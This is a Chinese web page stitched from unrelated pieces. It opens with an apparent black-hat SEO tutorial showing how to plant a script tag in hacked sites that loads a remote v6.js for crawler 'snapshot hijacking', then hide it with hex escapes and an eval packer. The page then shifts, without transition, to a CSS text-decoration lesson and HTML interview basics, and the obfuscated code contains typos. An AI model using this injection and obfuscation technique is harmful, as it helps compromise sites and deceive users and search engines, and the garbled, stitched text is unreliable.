一些黑帽SEO要對跳轉的js代碼進行加密，學習JavaScript加密方式，當我們網(wǎng)站被黑時，看到這段代碼就明白這就是快照劫持的代碼，刪掉即可解決網(wǎng)站被黑問題。今天，錯誤博客（cuowu.com）分享的內容為《黑帽SEO教程為html中的js跳轉url加密》。希望對大家有所幫助。

一、未加密的js代碼

JavaScript跳轉是黑帽SEO中快照劫持常見操作手法，比如在寄生蟲程序使用中，在被黑掉的html或php中增加如下代碼就可以完成快照劫持：

<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>

這段JavaScript代碼的作用是引入v6.js文件，v6.js文件中的內容為if判斷語句，如果訪問的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等，則顯示劫持的快照內容，如果是用戶直接訪問瀏覽器則會顯示原頁面內容。

二、16進制加密

首先把上面的命令增加為如下：

window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;

然后，對前面雙引號內的內容進行16進制加密，后面單引號內容也同樣進行16進制加密，依次為：

\x64\x6f\x63\x75\x6d\x65\x6e\x74

\x77\x72\x69\x74\x65

\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73

這個可以用utf-8轉16進制加密在線工具即可。錯誤博客站長導航里面有。

站長導航（https://cuowu.com/daohang/）

加密完成后變?yōu)椋?/span>

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

三、JS混淆加密壓縮

然后，把上述的js代碼再次補充一下才能正常運行，即：

<script type=”text/javascript”>

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

</script>

把中間window到</script>;的內容利用站長工具的JS混淆加密壓縮就可以得到eval加密形式，錯誤博客站長導航里面有。

站長導航（https://cuowu.com/daohang/）

獲得如下加密代碼如下：

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

最終獲得的加密代碼如下：

<script type=”text/javascript”>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

</script>

這就是全部的js加密壓縮過程了，解壓過程反過來推就可以了。

以上就是錯誤博客（https://cuowu.com/）分享的內容為《黑帽SEO為html中的js加密（js混淆與16進制加密）》。感謝您的閱讀。更多原創(chuàng)搜索“錯誤博客”。

過CSS文本裝飾可以為文本添加裝飾線、為裝飾線設置顏色、為裝飾線指定風格、為裝飾線設置厚度等效果。

為文本添加裝飾線通過 text-decoration-line 屬性實現(xiàn)，可以結合一個以上的值，如上劃線和下劃線，來顯示文本上方和下方的線條。具體的值有三個：

overline，在文本上方添加線條修飾。

line-through，在文本中間添加線條修飾，實現(xiàn)了刪除線的效果。

underline，在文本下方添加線條修飾，實現(xiàn)了下劃線的效果。

我們來做個例子。

打開編輯器，在 005 文件夾下創(chuàng)建 decoration.html 文件，構建好基本代碼。

添加 h1，h2，h3，p 四個元素。分別填入一些文本。

在 005 文件夾下再創(chuàng)建一個 mystyle-3.css 文件，

定義 h1 選擇器，聲明樣式屬性 text-decoration-line，值為 overline。

定義 h2 選擇器，也聲明樣式屬性 text-decoration-line，值為 line-through。

定義 h3 選擇器，再聲明樣式屬性 text-decoration-line，值為 underline。

回到頁面，通過 link 元素引入 mystyle-3.css 這個外部樣式。

在瀏覽器上預覽效果，我們看：上邊線、刪除線和下劃線就做好了！

實際上，可以同時給文本添加多個線條，實現(xiàn)方法是給 text-decoration-line

[?dek??re??n】屬性設置多個值，每個值通過空格分開。

在 mystyle-3.css 再定義一個 p 選擇器，聲明樣式屬性 text-decoration-line，值寫為 overline underline （讀作overline 空格 underline ）。

看一下效果，段落被添加了兩條裝飾線。

有的小伙伴還記得，給文本添加鏈接后，瀏覽器會默認給這個文本添加一個下劃線。所以，添加了鏈接的文本就不要使用 underline 下劃線裝飾了。

為文本設置裝飾線的顏色通過 text-decoration-color 屬性實現(xiàn)，屬性值為任意合法的顏色值。

給 h1 元素設置 text-decoration-color 屬性，顏色值設置為 red。再快速的給 h2，h3，p 元素設置 text-decoration-color 屬性，值分別為 blue，green，purple。

我們看，線條都有了顏色。

為裝飾線指定風格通過 text-decoration-style 屬性實現(xiàn)，屬性值有五個：

solid，實線。

double，雙實線。

dotted，圓點線。

dashed[d??t]，虛線。

wavy[?we?vi]，波浪線。

為了演示方便，在 html 中再添加一個標題 h4，填入一些文本，在 css 中將全部元素的 text-decoration-line 樣式屬性都設置為 underline。再定義一個 h4 選擇器，聲明樣式 text-decoration-line: underline。

給 h1， h2，h3，h4，p 全部添加 text-decoration-style 屬性，值分別為 solid，double，dotted，dashed[d??t]，wavy。

這樣，各種線條的風格就設置好了！

通過 text-decoration-thickness 屬性為線條設置厚度，也就是線條的粗細。屬性值有三種設置方法：

auto， 默認值，這個值是不確定的，和所修飾的文字大小有關系。

px，像素大小，是一個絕對值。比如 5px。

%，是一個相對值，根據(jù)修飾文字的高度計算出來。比如 25%。

在 h1 元素上聲明樣式屬性 text-decoration-thickness，值為 auto。在 h2，h3 上也聲明這個樣式屬性，值分別為 5px，50%。

在瀏覽器里仔細觀察，h1 上的下劃線厚度是瀏覽器給的默認值。h2 上的下劃線厚度是 5px。h3 上的下劃線厚度為文字高度的一半。

回到樣式表代碼，我們分析一下：每個文本修飾的屬性名，均為三個單詞連接起來的，這樣寫起來比較啰嗦，能不能簡化一下呢？可以的！

h1 {

/* text-decoration-line: overline; */

text-decoration-line: underline;

text-decoration-color: red;

text-decoration-style: solid;

text-decoration-thickness: auto;

}

神一般都是那種拿起項目直接開始干的，但是大神在找工作的時候也會面對面試這一環(huán)節(jié)，如果遇見只考問高層次以及專業(yè)知識的那也就罷了，但是遇見刁難的，問你最基礎的知識，其實很難會回答的出來。很多定義雖說早已已經(jīng)爛熟于心，但是遇見這樣的時候，還是要做好準備的。

HTML指的是超文本標記語言:HyperTextMarkupLanguage

HTML標記標簽通常被稱為HTML標簽(HTMLtag)<標簽>內容</標簽>

HTML元素包含了開始標簽與結束標簽，元素的內容是開始標簽與結束標簽之間的內容，元素屬性是HTML元素提供的附加信息。

HTML基礎知識：

1、HTML的歷史：HTML，XHTML

2、HTML的全局屬性：全局標準屬性，全局事件屬性

3、HTML的元素：

4、標記語言，是一種將文本以及與文本相關的其他信息結合起來，展現(xiàn)出關于文檔結構和數(shù)據(jù)處理細節(jié)的電腦文字編碼。

5、HTML，為超文本標記語言。

6、XHTML是可擴展超文本標記語言，是一種更純潔，更嚴格，更規(guī)范的html代碼。

7、html文件由文件頭和文件體兩部分組成。

8、標簽的分類：雙標簽，單標簽。

很多能力強大的程序員會覺得，遇見這樣的面試問題，是毫無意義的。但是有的時候要記住，機會是留給有準備的人，事無大小。